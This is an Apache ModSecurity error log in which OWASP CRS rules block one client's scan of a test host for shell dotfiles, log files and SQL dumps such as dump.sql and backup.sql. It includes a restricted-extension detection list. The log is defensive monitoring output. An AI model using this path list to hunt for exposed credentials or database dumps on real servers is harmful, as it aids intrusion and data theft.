[Fri Aug 01 20:57:26.943889 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bash_profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDgAAAAM&quot;]
[Fri Aug 01 20:57:26.963935 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.profile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .profile found within REQUEST_FILENAME: /.profile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDwAAAAM&quot;]
[Fri Aug 01 20:57:26.964112 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDwAAAAM&quot;]
[Fri Aug 01 20:57:26.964274 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.profile&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzDwAAAAM&quot;]
[Fri Aug 01 20:57:26.984226 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.bashrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .bashrc found within REQUEST_FILENAME: /.bashrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzEAAAAAM&quot;]
[Fri Aug 01 20:57:26.984410 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzEAAAAAM&quot;]
[Fri Aug 01 20:57:26.984554 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.bashrc&quot;] [unique_id &quot;aI0OFv8CICd_KOc8QdlzEAAAAAM&quot;]
[Fri Aug 01 20:57:27.004672 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.zshrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zshrc found within REQUEST_FILENAME: /.zshrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEQAAAAM&quot;]
[Fri Aug 01 20:57:27.004861 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEQAAAAM&quot;]
[Fri Aug 01 20:57:27.005013 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zshrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEQAAAAM&quot;]
[Fri Aug 01 20:57:27.025177 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.vimrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .vimrc found within REQUEST_FILENAME: /.vimrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vimrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEgAAAAM&quot;]
[Fri Aug 01 20:57:27.025398 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vimrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEgAAAAM&quot;]
[Fri Aug 01 20:57:27.025564 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vimrc&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEgAAAAM&quot;]
[Fri Aug 01 20:57:27.045920 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Matched phrase &quot;.viminfo&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .viminfo found within REQUEST_FILENAME: /.viminfo&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.viminfo&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEwAAAAM&quot;]
[Fri Aug 01 20:57:27.046139 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.viminfo&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEwAAAAM&quot;]
[Fri Aug 01 20:57:27.046323 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.viminfo&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzEwAAAAM&quot;]
[Fri Aug 01 20:57:27.129320 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzFwAAAAM&quot;]
[Fri Aug 01 20:57:27.129616 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzFwAAAAM&quot;]
[Fri Aug 01 20:57:27.129763 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzFwAAAAM&quot;]
[Fri Aug 01 20:57:27.149947 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGAAAAAM&quot;]
[Fri Aug 01 20:57:27.150251 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGAAAAAM&quot;]
[Fri Aug 01 20:57:27.150432 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGAAAAAM&quot;]
[Fri Aug 01 20:57:27.170582 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGQAAAAM&quot;]
[Fri Aug 01 20:57:27.170906 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGQAAAAM&quot;]
[Fri Aug 01 20:57:27.171063 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sql.log&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGQAAAAM&quot;]
[Fri Aug 01 20:57:27.191166 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGgAAAAM&quot;]
[Fri Aug 01 20:57:27.191470 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGgAAAAM&quot;]
[Fri Aug 01 20:57:27.191630 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dump.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGgAAAAM&quot;]
[Fri Aug 01 20:57:27.211890 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGwAAAAM&quot;]
[Fri Aug 01 20:57:27.212194 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGwAAAAM&quot;]
[Fri Aug 01 20:57:27.212380 2025] [:error] [pid 1621765] [client 185.177.72.16:45464] [client 185.177.72.16] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup.sql&quot;] [unique_id &quot;aI0OF_8CICd_KOc8QdlzGwAAAAM&quot;]
